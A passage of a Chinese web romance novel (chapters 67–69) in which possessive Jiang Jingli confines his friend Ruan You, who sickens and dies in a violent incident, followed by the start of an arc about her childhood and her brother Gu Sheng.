他并未告知他赋予的寓意。 一生一世。 纠缠不休。 江净理反复地想。 她是他的。 为什么不能在一起? 为什么要划清界线? 为什么,不能看看他? 第67章 第六十七章 真相篇/收尾上 错了。 一切都错了。唇齿被对方侵/占, 径自炙烫过了皮肤,剧烈心跳声缠在呼吸,阮柚整个人像跌入了了一个荒诞的梦。 躲不掉。 推不开。 直到她再度看向他的眼睛。呼吸重重吞吐, 大量新鲜空气没入胸腔,她眨过湿漉泛红的眼睛,手背麻木又慌乱地擦着嘴唇。 全是他的气息。 怎么可以这样呢? 动作被拦住, 江净理占有欲不再掩饰。 他主动挑明边界, 将底牌进数奉在她面前,不过就是为了得到她。很自私, 又很可悲。 他垂下头,制止她的动作,声音有些磁哑,“阮柚, 和我在一起吧。” 她手背的骨节小小的,像暖玉。他的喜欢在所有细枝末节里, 他喜欢她的全部。而与之俱生的, 是藏在表象里, 控制不住的偏执、疯狂。 阮柚看着他, 生出一股无力感, “江净理,你知道你在干什么么。”她眼圈红了,维系的理智摇摇欲坠。 想丢下一切逃的远远的, 手腕却被对方圈握, 凉凉的, 令她些许战栗。 她发觉,他居然这么高了。 高的将她身影覆盖,侵略感迎面而来, 她只能去仰望。 “你放开我。”阮柚挣扎起来。回归实质,对他感到陌生。 江净理垂下睫毛,浓密阴影覆过轮廓,“我知道。” 烟火下,他弯了弯眼睛,终于有了唇红齿白的鲜活气,却来的并不逢时,反倒多了分违和,“我喜欢你,阮柚。” 他的血液在流动,烫极了。这是从未有过的感受,跳跃神经,令他疯狂。 是她带给她的,属于他的,珍宝。 “和我在一起,好不好?” 第二次说了,连他都不知道,其中带了几分病态的乞求。 “不要。” 阮柚鼻头很酸,内心有股破灭感,她想都没想,“江净理,我对你不是男女之情。” 我们,只是朋友啊。 她紧咬唇瓣,久而久之溢出鲜/血,铁锈感徘徊唇齿,却无暇顾及。江净理依旧在看她,极专注,极安静。 他听见了。 修长手指却触碰她唇上的血。 细密密的温热滑过皮肤,像在勾勒、描摹着艺术品,虔诚而细致,阮柚却生出一股天然的畏惧感,撕开伪装的表象,她就这样不期然触及到了他的掠夺。 被什么盯上一般。 阮柚慌神,下意识后退一步。 “没关系。” 触及她恐惧的眼神,江净理藏下了晦暗,清冷眸子漾起了温度,“我喜欢你就好了。” 他需要被爱吗? 不,他本就是情爱的残次品。 被爱本身就是谎言。与其若即若离,挣扎痛苦,不如主动织网,肆意侵占。 爱本就该掠夺。 他很轻地开口,不知在对自己说,还是在对阮柚说,“只要你一直在我身边。” — 风声呜咽。 漫天黄叶不经意撞过玻璃,发出细碎且突兀的声响。百合花早已凋拜,枯黄成了笔记里的标本,阮柚安静掀过那一页,内心只剩空荡。 她被关起来了。 与其是关,不如说囚/禁。 她从不是个合格的演员,而江净理却是个异常敏锐的观察家。因而,想要离开的心思一经显露,他便捕捉到了。 思绪收束,沉闷乏味。 她撕去那页写满离开的日记纸张,心中只有一个念头:这什么会变成这样? 是她错了吗? 阮柚心里很酸,却很荒凉,流不下眼泪。她想起和江净理相处的种种,有落日篝火,有山涧溪泉,有他温暖有力的脊背,也有他们危难时,紧紧交握在一起的手, 最后,都随现实支离破碎。 怎么办。还没来得及好好道别。 她好像,要失去这个朋友了。 一想,阮柚就好难过好难过。她躺在床上,对天花板无限发呆,连江净理什么时候开门进来都不知道。 他端来药,“过来吃药。” 阮柚感冒了,江净理却比当事人都要紧张。他其实很会照顾人,等温度刚刚好才端进来,怕她苦,还带来几颗她最爱吃的蜜糖。 阮柚没反应。 “阮柚。” 他说,声音柔和,“吃了药才能好起来。” 这句话却一下子触到了她某根神经。阮柚忽地坐了起来,一眨不眨看向他,“该吃药的不是我,是你。” “江净理,你应该去看心理医生。” 她不理他。 他就能坐在她房间一下午。 即使不说话,他仍气定神闲,就像没事人。她无法出去,质问他,他却很轻地安慰她,“外面世界坏人很多,在我身边,是最安全的。” 他无声无息筑起华丽的牢笼。 以爱之名,将她圈养。 真是荒诞至极。 “你骗人。”阮柚站起了身,径直走向门口,“我不知道你为什么要变成这样。” 江净理站在原地,不动声色,笔直如青松。 而刚迈出门外一步,几位保镖就拦住她。 “小姐,请不要让我们为难。” 阮柚闻言,脑子嗡嗡一片。 无力。 她回头,江净理神色如初,勾起唇浅浅一笑,“我还在原地等你。” 他料想她会回头,所以守株待兔。 无视他恶劣的自娱自乐,阮柚大步向前,朝他走去,“你到底想做什么。” 她好脾气被消磨没了,语气硬邦邦,生出了锐利棱角。 却更鲜活。 江净理少见她这一面,专注觑她,眼中星光潋滟,“我只想你快点好起来。” 阮柚不知他在想什么。 她深吁口气,直觉自己一拳打在棉花上。 将感冒药一饮而尽后,唇边被递来一颗蜜饯,阮柚躲闪不及,不期咬住柔软的异物,她颤了颤睫毛,蹙眉,下颌被轻捏住,“乖。” 江净理缓慢蜷回手指。 松开,唇间一甜。 过分暧/昧亲近的动作,令她浑身都不自在,退后几步过后,身体贴在了窗边。 她转身开窗。新鲜的风透进来,纷飞落叶停在窗台,将混乱尽数理清。 “我想出去。”她说。 “去哪里?”身后,江净理问。 “去哪里都好。” 她的声音轻飘飘地,恍然意识到什么——她在逐渐丧失自由。她自认为最好的朋友,正在剥夺她最想要的自由。 “这几天,我想不清我们为什么会变成这样。但我想说,这样不对。” 她低垂眼睛,转过身,对上了江净理的视线,“所以如果之前,我有做了什么让你误会…” 她的话还没说完,就被一声笑所打断。 江净理在笑,很轻,连眉眼都柔淡了起来,“阮柚。” 目光交汇。 “你对我好残忍。” 他自嘲地说, 一句话,就将过去否定。 他站在那里,房间空气还留存她的气息。他不知餍足的想要汲取她的美好,却到最后,被刺的鲜血淋漓。 连半分爱意都不愿施舍。 阮柚没有听懂。莫名地,她感受到对方的黯淡,很短暂,就像是幻觉。 江净理如此说着,眼神却清明一片, “我想要你,就是这么简单。” 他说。 “可我不喜欢你。” 阮柚无法理解他的执拗,不住地说,“江净理,你是不是有病!” 她觉得江净理变了。 她好想念过去的他。 如今,真的糟糕透了。 他走近,自顾自说下去,“我想和你结婚,想要你的无名指戴上刻有我缩写的戒指。” 手被对方抬起,江净理像是陷入一个编织完美的美好叙述,整个人沉浸其中,“想要一直一直和你在一起。” 阮柚挣脱不来。只得抬头看他,良久说,“我总有一天会离开的。” 他则如梦初醒。 “不会的,不会这样。” 他拥住她,于耳畔字字清晰道,“那就带我一起走,好不好?我只有你了,阮柚,不要留我一个人。” 最后一句,他看她,低沉似乞求。 她完全叫不醒他。 阮柚身型僵僵站着,则听的一阵恍惚。 她有数不清的话想要骂醒他,最后却归于苍白,并非出于沦陷,而是在一开始,她发觉了对方高傲外表下藏匿的脆弱。 仿佛只要一句离开他,就轻而易举能将他击溃。 * 阮柚吹了凉风,病去如抽丝。 浑身虚弱,她只能躺在床上,安静看天花板。 家庭医生来了一遍又一遍,却查不出缘由。江净理坐在她床边,紧紧拉住她的手。 意识模糊间,他听见她说,“我只要你好起来…” 阮柚却有股模糊的感觉。她快要回去,她好不起来了。 江父找他很多遍。家族事务堆积如山,在议会推行的法令也迟迟没有进展,他严肃盯着自己这个生来便极优秀骄傲的儿子,冷笑,“怎么,为了一个女人,什么都不管了么?真是好一个情种。” 江净理不置一词。 阳光洒在他脸上,漂亮的尽显造物主偏爱,皮肤却是病态的冷白,冰冷冷,宛若抽离人世间的人皮鬼。 没有生气。 外面枯木逢春,日光澄净。 日光将他周身割裂分明,江净理缓慢掀起眼皮,喉结滚动,“如果能重新认识她,就好了。” 他答非所问。 江父恨铁不成钢,却也没再说什么。 很奇怪,他知道他想要说什么。恶人也会在执迷不悟、一错再错时,偶尔想起曾经短暂的美好泡影。 聊胜于无。 江父冷淡地想,真可怕。 命运循环往复,他竟也成了旁观者,参透大半。 阮柚最近总会做很多梦。梦里有人在叫她的名字,那么温暖、那么亲切。过去记忆浮光掠影,走马观花,她深陷其中,仿佛在看自己为主角的电影。 蔷薇花开了。 阮柚很幸运地清醒过来了。 醒来时,江净理抱住她,沉默至极,却像是拥住了失而复得的珍宝,“阮柚…” 他低声呢喃。 阮柚回:“我在呢。” 肩颈一凉,阮柚愣了愣神,抬眸,发觉异样。江净理哭了,安静而隐忍,顺着下巴滑落在她肩颈。 她呼吸颤了颤。 想要安慰,又无从说起。 过往像做了一场梦,阮柚醒过来后,选择了向前看。她明白,他们相处的时间不多了。 她要珍惜还在这里的时间。 醒来后,江净理对她的态度多了分小心翼翼。他像是刚学会怎么去爱一个人,竭力满足她的要求,却总在不停退让。 阮柚反倒不习惯了。 不愿见他这样,她忽然说,“我会试着去喜欢你的。” 她想清楚了。 如果这样,能够让他开心,能不留遗憾。 她会试着喜欢他的。 江净理怔住。 失神间,水果刀切出血,疼痛刺激他的神经,昭示着他身处现实。 阮柚啊了一声,去找医药箱。 而他则看着手指,心跳如擂鼓般,久久不息,没人知道,他如今有多开心。 伤口包扎好,家庭医生如约而至。 阮柚包的很丑,处理的也不专业,想要让医生重新包扎一下,却被江净理出声制止,“给她看看恢复的怎么样了。” 家庭医生则照做。 阮柚蜷蜷手心,莫名有些紧张。 结果私下商讨,等回来时,江净理神色不算好看。 但在阮柚看向他时,恢复原样。 江净理:“我下午要出去一趟,你好好休息,想吃什么和阿姨说。” “唔,去哪里。” 阮柚下意识问,又觉得打探隐私不太好,但仍忍不住问,“我能跟你一起去吗?” 今天天气这么好。 江净理不再限制她的自由,却惦记她的身体。“听话好不好。” 他摸她头发。 很柔软,又暖洋洋。 阮柚嗯了声。 精神却肉眼可见的耷拉下去。 江净理没说什么,仔细呼吸,心头却在抽痛。他忍不住失神,想起刚才听到的话,口腔处一阵腥甜。 但他伪装地很好。 离开前,他给了她一株漂亮的蔷薇。见状,阮柚止不住怅然:“第一次见你时,我好像就看见它了。” 江净理却道,“往后岁岁年年,我们都会见到她。” 阮柚轻轻拨动花瓣,不说话了。 她低着头,不知为何,不敢去看江净理的眼睛。 江净理离开了。 下午,阮柚却有种坐立不安的感觉。 她胸口紧张闷涩,总觉得会有什么事情要发生。 时针一点一点流动。 她站了起来,忍不住问管家,“他去哪里了?” 他是谁,不言而喻。 管家支支吾吾,却在阮柚反复恳求后,报出了地址。 阮柚闻言失神。 她按照地址,去了附近著名的神山寺。 传闻,山顶有颗神树。只要以虔诚之心打动它,许下的任何愿望都能实现。 从前她听过这个故事,讲给江净理听。 对方却兴趣缺缺,歪了歪头,“为什么要把命运寄托在莫须有的事物上?” 阮柚回过了神。 抬头之间—— 樱花烂漫,于空气恣意地飘舞,宛若画卷般静美。而池塘却衰败枯黄,仿佛许久无人造访问津。 阮柚躲在了树后,看江净理一步一步。 虔诚跪拜于山阶。 阳光落在他的侧脸,白的透明,眉眼专注祈求,“希望我爱的女孩,能长命百岁。” 字字清晰。 他愿意用一切交换。 只要,不留他一个人。 第68章 第六十八章 真相篇、江/完结 阮柚眼睛起了一层雾, 好酸。她觉得江净理是个笨蛋,竟然信这些子虚乌有的神灵。 可她迟迟不敢上前一步。 她想。 她能接受这样浓烈的爱意吗? 如今,阮柚清楚不能。 阮柚坐在了树下, 不知觉,等到天色尚浓。风来了又去,勾过发梢。池塘长满枯草, 传闻这也曾是许愿池, 可它承载太多的愿望,终于在有一天, 它干涸了。 思绪放空,灯火阑珊。 江净理不知哪拎来了一个兔子灯,灯火映在他眉眼,轮廓漂亮分明。 他问, “不冷吗?” 阮柚心头一慌,摇头。 抓住了递过来的兔子灯。 “走吧。” 江净理笑了声, 若无其事。 外套裹在她身上, 她整个人被温暖包围, 鼻息是他熟悉的气息。她早已习惯, 毫无抗拒。 江净理:“漂亮吗?” “什么?”她一怔。 “兔子灯。”他说, “我一见到它,就想起了你。” “很漂亮啊。” 阮柚紧握在手上,垂眼看着流转朦胧的灯影。静悄映在手上, 随树影明暗交错。 她非常喜欢华丽的东西。可有些事物, 越华丽, 就越稍纵即逝。就像烟花,就像灯火。 夜太暗了,她想着想着, 不自觉放空。 “江净理。” 阮柚抬起眸,轻轻地说,“如果有一天…” 江净理忽地开口,嗓音清清冷冷,“你猜我最后听见了什么?” 话语戛然,阮柚不自觉抬声,“嗯?” 她对上了他的眼睛。漆黑安静,灯火在细碎流转,却将她全然留存。 江净理却握紧她的手。虽在笑,却好似在竭力压抑着什么情绪,“有人告诉说,我们本不该相逢,强求只会是徒劳无功……”他的瞳孔不太聚焦,灯火明灭,像是短暂坠入回忆,醒不过来。 阮柚呼吸一紧,心在砰砰直跳。良久,她移开目光,说,“可我们还是遇见了啊。” 江净理沉默了会儿,“是啊。” “我们还是遇见了。” 他重复,声音清浅。 情绪抽丝剥茧,在膨胀、在破灭,最后只剩下近乎偏执的执念。他想要紧抱住她,让她能够永远陪在自己身边,又怕会吓到她,如履薄冰、不得章法。 对待阮柚,他从来没有胜算。 他们进了一家餐厅,吃了晚饭。 钢琴乐悠扬动听,飘散在空中。阮柚放下刀叉,说了句,“不知道为什么,听到它,心里就很平静。” 江净理抬眼,却蹙起了眉。 灯光下,阮柚笑容恬静,皮肤白的几乎透明,就像随时都会离开一般。他胸口一紧,潮湿湿地,几乎味同嚼蜡。 阮柚疑惑:“看我做什么?” 江净理不躲不闪,明晃晃的专注:“多吃一些。” “嗯。” 阮柚听话照做,却还是没什么胃口。气氛一安静,她就想起今天见到的江净理,那么虔诚、那么专注,除了家人,没人对她这么好过。鼻子一酸,她又陷入情绪的泥沼。 她仓促低头,将神情藏了起来。这么美好的氛围,她不该破坏啊。 江净理一错不错地看她。 自然,也察觉到他的变化。 而他却只看出她的不开心。 她是不是想离开。可离开他,她又能去哪里呢?外面那么危险,那么混沌。 出门时,天说变就变,雨水淋漓。 阮柚如今不怎么喜欢下雨天,那股扑面而来的土腥掺杂泥土气息,几乎埋葬一切鲜活生气。 江净理为他撑起伞。 他很高,伞檐倾向他,很多次,阮柚都能看见他被雨水打湿的肩膀。心反复地在跳,灌入丝丝凉风,阮柚猜自己在心疼,这个世界带给她无限真实的体验,也让她体会到各种情绪发酵的滋味。 江净理察觉她的动作,“别闹。” “你会淋湿的。” 她执拗将伞往旁边推了推。 “我不怕淋湿。”江净理喉结微滚,心很烫,“我想这么做。” 淋湿又怎样?伞有很多把,他只是想站在她身边守护她,仅此而已。 * 阮柚身体看似在转好,但其实各方面机能都在每况愈下。这是她既定的结局,她接受的很坦然,却仍会为周围人的担心爱护而难过。 这个世界,阮柚收获很多的关爱。 她感到不虚此行,又有些不舍。 某天醒来,她发觉,自己视线开始模糊。整个视线像是暗淡凋拜的画卷,变得那么不真实。她有些恍惚,一瞬间,仿佛听见有人在叫她名字—— “阮柚,这场梦,你该醒来了。” 细碎声音钻入耳廓,阮柚身处真实与虚幻的边界,直到,一双手拉住了她。 十指相扣。 江净理放在额间,笑着讲起了话,“我就知道,第一眼见到的人一定会是我。”熟悉的倨傲,又沾了些不属于他的孩子气。阮柚鼻息痒痒的,不自觉颤颤睫毛,却生出了莫名的安定感。 “嗯,是你。” 她跟着笑笑。 情绪也依稀间,渐渐坠入谷底。阮柚发觉,她失去了感受色彩的能力。 庄园蔷薇开的正盛,极致浓艳,她却只看见如工笔勾勒的轮廓,凌厉深刻,毫无分毫美感可言。她失去了感受美的能力。 阮柚心里藏着沮丧,面上却若无其事。 家庭医生来了又去,一次次叹息,都落在江净理逐渐沉郁的眉眼。 有天。江净理跪坐在她面前,下巴窝在她肩颈,“不要离开我,行么。” 他的声音很低很低,有点不像他。那么骄傲的人,怎么会用这种语气和她说话呢? 阮柚内心升起一股忧伤。 她只好安慰他,“不会的。” 那天的状态仿佛只是一个意外。第二天,江净理出现在她面前,带来一副画。 他为她画的,是她翩翩起舞的瞬间。 漂亮的像天鹅。 阮柚久久盯着,却有些难过。她为什么看不见颜色了呢,如果能看见,该是多么幸福开心? 可她还是很感谢她。 外面艳阳高照。阮柚接过画作,忽的提议,“江净理,我想给你画幅画。” 江净理一怔,久久没说话。 阮柚以为他不会同意,但很意外地,他点头。 “好。” 他们去了山上的田野。 自然风光正盛,站在空旷的石头上,她仿佛能够眺望整个世界。 就像风一样自由。 阮柚为此感到欢喜,又不忘此行的目的。 江净理坐在旁边,今天他穿了件白衬衫,显得单薄,又有一股浑然的清冷贵气。 他说,“就这样吧,画我看向你的样子。” 江净理抬起头。 风吹乱他额间头发,睫毛浓密,一双静谧的眼睛不看大好风光,只看向她。 心在作乱。 江净理笑起来,“我很期待。” “我会好好画的。”她认真起来。事实上,她好早就想这么做了。 一笔一笔,勾勒出轮廓。阮柚神态专注,似乎已感觉不到时间在流逝了。 画完了,她交给她。 忍不住说,“我水平只能到这里了。” 江净理安静了会儿,收起来,“很好看,我会好好珍藏的。” 他摸了摸她的头发。 “其实没有那么好啦。”阮柚摸摸鼻子,有些底气不足,她都没有上色,只有大概轮廓而已。希望江净理不会觉得她在敷衍。 阮柚不能在外面待久了。但她见天色尚早,执意想要出去玩。 “在屋里真的很无聊。”阮柚说,“就一小会儿,可以吗?” 江净理看了眼表,内心摇动。 理智和情感在纠缠。很奇怪,他向来理智占上风,而如今,竟一时说不出拒绝的话。 他想,和她在一起,就像上了瘾。 越沉浸其中,越难以割舍。于是,他说,“就一会儿。” 他们一起去公园喂了鸽子。 阮柚手心痒痒的,眉眼也藏着笑。 天色澄净,她仰头看白鸽,面容漂亮纯粹的不像话。 江净理静默不语。 站在她旁边,像一道安静的影子。 可影子太好看了,仍是吸引了很多注目。 有胆子大的女生上前鼓足勇气问,“小哥哥,我觉得你有些眼熟。” 江净理看了她一眼,没作回应。对待不重要的人,他向来只有冷漠,冷漠到不近人情。 女生抿了抿嘴,歇了搭讪的念头。 直到快回家时,才想起来,这不是他们口中的江净理吗?这几年最风头正盛的政客,长了一张帅的惨绝人寰的脸,迷倒不少女孩。 但她无暇关注这些。 她有个朋友,疯狂迷恋他,为他要死要活,做了错事,快成了家族弃子。她想告诉她,死心吧。江净理应该有喜欢的人了,那么专注看着一个女孩,怎么会不喜欢呢。 两人喂完鸽子,坐在公园的椅子上。 阮柚有点困了,打了个哈欠,玩心却仍未退散。她指了指,说,“我想去中央剧院。” 江净理目光越过去。 今天,那里有一场钢琴巡演。 他忽然想起那日阮柚在餐厅说的话。让她感到平静的钢琴曲,是钢琴家献给死去爱人的纪念曲,声声哀悼,又藏着祝福祈愿。钢琴家知道自己是个烂人。因此希望爱人转世后,能遇见真正爱她、珍惜她的爱人。 真是大度。 江净理却报以冷眼。 他却从中看出了懦弱,活着不去珍惜,死后又不敢奢求拥有。 如果是他… 无论重回多少次,他还会选择靠近她。 江净理和阮柚进了剧院。 人满为患,极为热闹。有不少人认出江净理,疑惑之余,笑着打招呼。江净理点头回应,心思却放在阮柚身上。 幕布散开,台上坐着一个人。 灯光流转,钢琴声温柔荡漾耳边。 阮柚眨了下眼睛,就好像被拉出一场虚无缥缈的美丽梦境,沉浸其中无法自拔。 曲目过后,掌声响起。 那人站了起来,高定燕尾服,身姿挺拔如青松。 有些熟悉。 但她怎么也想不起来。阮柚意识有些混沌,等散场时,才稍微清醒起来。 江净理笑着凑近,“不是你想来的吗?怎么先睡着了。” 阮柚一窘,摸摸鼻子,又蜷蜷手指。 “是太好听了。” 她的眼睛很亮,在灯光下显得生动。江净理手指不由自主摸了摸她的睫毛,没有分毫暧昧,只有纯然的喜爱。 阮柚一缩。 江净理:“走吧。” 狭窄走廊里,有人错身而过。阮柚并未发觉,而江净理却和他对视了一眼。 神态凉凉,疏离冷清。 那人停了脚步,望去,不知为何笑了一声。 出了门,天空星光点点。 江净理看了眼时间,“该回去了。” 他意外于自己的放纵。也隐隐觉得,不该如此。“你该好好休息,阮柚。” 阮柚最爱自由,休息这两个字无疑对她而言等同于束缚,“我真的很开心,江净理。” 她抬头看向她,于熙熙攘攘的人群,静立驻足。 很美,但他却忍不住抓住她。 “我也是。” 江净理神色暗了下,约定,“等你好起来,我会天天带你出去玩。” 他早就在内心勾勒好了未来。同样,他不相信她会好不起来。 他们还有好多的未来。 “嗯。” 阮柚很轻地说了句。 夜风温凉,拨弄树影。 阮柚看不见色彩,其余的感官像被补偿性地放大,无限延长的静谧里,她仿佛能够听见心脏的起伏。 阮柚问:“江净理,你相信缘份吗?” “什么?” 他没听清。 阮柚很轻的说,“我觉得,我们很有缘,缘份让我们遇见。” 真的太困了,她讲着讲着,眼皮有些沉,语句组织的也很混乱。她不禁想起第一次见江净理时的场景,那么小小的少年,神态却那么冷漠疏离,就像覆盖融化不开的寒冰。而如今,又变得这么温柔。人与人之间的情感,真是能够改变一个人。 江净理一怔,“我背你走吧。” 黑夜里,声音是连自己都没发觉的紧张。 “不要。” 阮柚眨了下眼睛,稍微恢复些精神,伸出手,“我想,我该吃药了。” 江净理一怔。 心情高低起伏,仿佛坐了过山车,急逝过后,神经麻木冻结。 他缓慢牵了牵唇,“好。” 随身携带了药,却没带水。 恰好附近不远就有家餐厅,他和阮柚一起去。 “累吗?要不要我背你?” 江净理又问。 阮柚不住嘟囔,认真拒绝,“我没有那么脆弱啊…” 她不想当一个需要保护的人。 江净理没说话,手却环住她的肩膀。 很亲密,惹来不少关注。 可阮柚却没有发觉。 如今,她的意识如今像是生了锈,拖沓沉闷,只有些理智支撑着,让她镇定。她看着他的背影,那么近,又好像那么远。 江净理要了杯水,低头拆药,动作仔细熟练。 其实当他习惯对人好时,做的比谁都要周到认真。 阮柚飘忽地想。 手却被握着,温热极了。 而变故就是在这时发生的。 不知是不是毫无征兆,还是她意识过于混沌。 等再度反应过来时,周遭人群混乱逃散,混乱一片。 “啊啊啊!” “杀人了救命啊!” “快报警!” 陌生重叠的尖叫声在耳畔漫长嗡鸣,所有粘稠的、温热的、甜腥的气息如潮浪般涌了过来,几乎将她整个人吞没。 阮柚迟钝地颤睫毛,有疑惑。 恍惚间,听见江净理在说,“阮柚?”他声音穿透她的意识,将她短暂拖拽清醒。 她才发觉,自己浑身是血躺在他怀里。 不疼,在昭示着世界的虚幻; 可她仍能清醒感受自己生命如沙漏般的极剧流逝,也看见江净理让她感到陌生的神情。 江净理身体在颤抖,眼里藏着悲痛,很空洞,“为什么…” 他说。 明明受伤的人是她,她却觉得,江净理整个人都抽离了,连理智都一时难以拼凑。 他后知后觉想叫医生。 控制不住的颤抖,因为都是她的血。 染红他的视线,就像做了一场怎么都醒不来的梦。 是假的吧。 “没有为什么。” 阮柚说,说的很慢,“江净理,我应该离开了。” 脖颈凉凉的,有什么滴了下来。 她无暇顾及,听见他的声音于头顶响起。 江净理说:“医生马上就来了,对不起,对不起。” 他竭力克制,舌腔却溢满腥甜。 “对不起…什么啊。” 阮柚鼻头一酸,缓慢眨眼,“我真的不疼…” 意识在飘散,目光虚焦,找不到支点。 她看了眼白色的天花板,宛若坠入漩涡,拉拽她回到过去,如走马观花一般回忆种种。 最后,她停在那满目绚烂的蔷薇。 那又一次看到了曾经。 少年眉眼氤氲清冷,微微抬起下巴,对她说,“蔷薇会一直开在这里,如果你想每年都能看见,就要一直陪在我身边。” 那时她点头。 说了句好。 可如今好像,要食言了。 意识朦胧,她听见江净理在一遍遍叫她,空洞又破碎。 最后,他似乎在说,“这是我强求来的因果报应么…” 阮柚却努力开口:“不是。” 抓住他的手,“是我很开心,能帮到你。” 因为啊… 阮柚没说完,也许答案连自己都不清楚。 好像,也不是那么重要了。 阮柚离开了。 风声呜咽,花枝枯萎。 故事落幕后,仿佛什么都没有变。 她孤单的来,又在最灿烂的年纪离去。 最后,什么痕迹都没有留下。 第69章 第六十九章 顾叙篇/一生所爱 在传统意义上, 阮柚被视作宠坏的女生。她有着漂亮的容颜,性子却愚钝虚荣,浅薄的学识支撑不了华丽表壳。 因此, 她被称为一个花瓶。 几人私底下议论的时候,不幸被当事人听见了。 阮柚凑上前去,手指绕起头发, 慢吞吞地打转, “可是我就是很漂亮啊。”她的瞳孔很黑,像小猫的眼, 明晃晃的骄矜自信。 仿佛在说:哦,所以呢? 人群作鸟兽散后,阮柚懒洋洋直起腰,意兴阑珊, 丝毫不在意刚好听见的言辞。 少女私服总是五颜六色,风格极强, 可穿在身上一点都不显庸俗, 反而鲜活又灵动。 阮柚想, 当花瓶怎么啦。 至少好看的花瓶都会被放在橱窗里好好珍藏, 成为众人去停留围观的中心。而她, 刚好也喜欢成为人群的焦点。她出生于世家的没落旁系,随母姓,姓阮名柚。 在很小的时候, 父母离婚了。母亲选择带哥哥入国外生活, 而她, 则像一个烫手的包袱,随手被丢给在田园生活的外婆。 阮柚童年里充斥着虫鸣蝉声。她与大自然相伴相生,日出日落、循环往复, 仿若蒲草般野蛮生长。 夏夜漫长。皎白的月光斜斜落在了窗台,她安静地躺在外婆怀里,昏昏欲睡。 “床前明月光,疑是地上霜。” 举头望明月,低头思故乡。 阮柚不喜欢读书。在外婆眼里,这个小女孩心很难沉静,是天生就很贪玩的性子。 可外婆仍然每晚坚持给她念诗。在潜意识里,她还是希望阮柚未来能够成为一名才华横溢的小淑女。 奇迹一般,这次她听了一遍,便记住了这首诗。彼时月光皎洁,重重压在了她的眼皮,阮柚忽地想起来自己好像还有一个家。 它在很遥远的地方,她还有爸爸妈妈,有一个比她年长三四岁的哥哥,只不过,他们很久没见面了,他们似乎都快把自己给遗忘了。 她从一开始的想念期盼,到后来习惯不去在意。一直到后来,外婆过世的葬礼,阮柚再度见到父母出现在自己生活。 父母又再婚了。 听说外婆去世,匆匆赶过来接她。 很奇怪,她好像已经早就过了期待他们回来的年纪了。 当许久没见的母亲紧抱住自己,抚摸她的头发,哽咽地说,“好孩子,受苦了。”时—— 阮柚平生第一次,心里像是烧着一簇火焰。她伸手推开她,手臂撑开,躲开浓烈又陌生的香水气息。 她展露出张牙舞爪且不加收敛的叛逆。 她早就不想当好孩子了。 * 阮柚有个哥哥叫顾盛。他是个爱四处结交朋友的公子哥,别墅几乎一周就有一次聚会。 每当聚会时,顾盛总会把阮柚拎过来,语气欠揍地说,“这是我妹妹,怎么样,很丑吧?” 回报他的则是阮柚的一记白眼。 顾盛坐在沙发上傻笑。 朋友们都知道他不过在炫耀,却也羡慕的牙痒痒,心里想:自己怎么就没有这样一个妹妹呢? 凶是凶了点,但可爱是真可爱。少女皮肤白,眼睛很大,微卷的头发垂在胸前,精致的像个洋娃娃。 有人清嗓,循序善诱,“叫我一声哥哥,我可以给你买任何想要的东西。” 啧,骗小孩呢。顾盛抬脚想踢他,没想到下一秒,就听见阮柚脆生生的一声。 “哥哥。” 语气是罕见的乖。 众人争先恐后地试探,而少女却神态如初,圆溜的杏眼亮晶晶,隐约藏匿些许玩心。 顾盛脑子像炸开,登时绷直了背。 他站起身,沉着脸挥走那些人。 前一秒,他们是他眼里兴趣相同的朋友,如今,却是一群觊觎他妹妹且不怀好意的坏狗。 顾盛将阮柚拉到走廊。 他低下头,神情严肃,望着正在嚼口香糖的阮柚,沉默了一会儿。 阮柚疑惑睨他。她还没玩够呢。 对上顾盛的视线,她眨了下眼睛,浑然没有当事人的自觉,烦躁地问,“怎么了?” 见状,顾盛却一下子卸了气。 那些气消了,胸口处反而多了层委屈,闷闷的不像话。 半晌,他开口,“我想说。” 顾盛停顿了些,“你怎么能随意喊人哥哥呢?” 阮柚抬了抬眉毛,眼瞳清泠泠,“为什么不能?” 顾盛唇抿成一条直线,咕噜咕噜泛着酸。 阮柚没等到回答,时间久了,难免有些不耐烦。她不喜欢被浪费时间,尤其是在玩的还算开心时,于是忍不住开口,“到底是怎么了,不说我就走了。” 顾盛却拉住她,说,“别走。” 他难得认真起来,“我才是亲哥,你怎么能叫别人哥哥呢。”话说着说着,多了丝委屈。 阮柚唔了一声,闻言,神色不太自然。 听出对方的认真和委屈,诧异之余,她莫名无从招架起来。因而停顿了几秒,说的话也转了弯,干巴巴回应,“哦,原来你还还记得这件事。” 顾盛却噗嗤笑了声。 他一下子知道她说的是什么,无外乎是阮柚刚回到家时,他那些笨拙又试探的靠近。扯女孩漂亮的头花,被她差点一脚踢远;送娃娃,被她嫌弃幼稚;隔着门框给她弹吉他唱歌,她听见了连着做了好几天噩梦… 他们仿佛天生就很不对付。 “那好吧。” 见他还在看她,阮柚勉强又矜持点头。 “但说好,如果你哪天对我不好,我一定马上换一个比你更好的哥哥。” 顾盛点了点头。他想,他怎么会对她不好?这么可爱的妹妹,可千万不能让别人抢走。 两人对视了番,良久,相视一笑。 — 不久,阮柚在宴会看中了一个男生。 她是个颜控,惊鸿一瞥后几经周折,终于打听到那个男生的名字。 江净理。不仅颜值天花板,家世也堪称顶级。 听见名字,顾盛酸溜溜地说,“啧,那就是一个大冰山,不知道你看中他哪一点,那么不近人情,说不定心理变/态。” 阮柚瞪了他一眼,“你才变/态呢!” 顾盛:“呀呀呀,这么快就维护起来了?” 阮柚鼓起腮帮,把枕头甩过去。 “这次我的生日会,我想让他过来。”阮柚挺直了腰板,“有什么办法吗?” 顾盛气的磨牙,说:“办法就是,那就是,早点洗洗睡吧。” 阮柚生闷气,决定不和他说话了。不过顾盛说的没错,江家那样的家族,无论如何都不会出现在他们这样的没落家庭。 可是阮柚仍不死心。 她从小有种不达目的不罢休的执拗,于是等了好多天,她终于蹲到他。 “你是?” 少年单肩挂着包,礼貌又疏离。 阮柚强装镇定,“我是阮柚。” 江净理目光清冷,神情没什么变化。 他在心底重复一遍这个名字,但下一秒,太阳穴却传来了阵阵刺痛,碾压过他的理智。 极痛。 出于对失控感的厌恶,他看过去,冷冷吐出两个字,“让开。” 不留情面,冷漠又厌倦。 好多人在看呢。 阮柚自尊心被伤到,大脑空白了一下,“让开就让开,我…就是来问路。” 她飞速转身。 几分少女心事也变成了泡影。 但她还是很伤心。 扪心自问,其实她不喜欢江净理。她只是觉得他好看而已,她喜欢一切漂亮的人和物。 但是渐渐地,她还是忍不住想。 如果江净理能够来喜欢自己就好了。 这样,她就可以成为被众人羡慕的焦点,成为别人一直关注的对象。 她的确是一个虚荣的人。 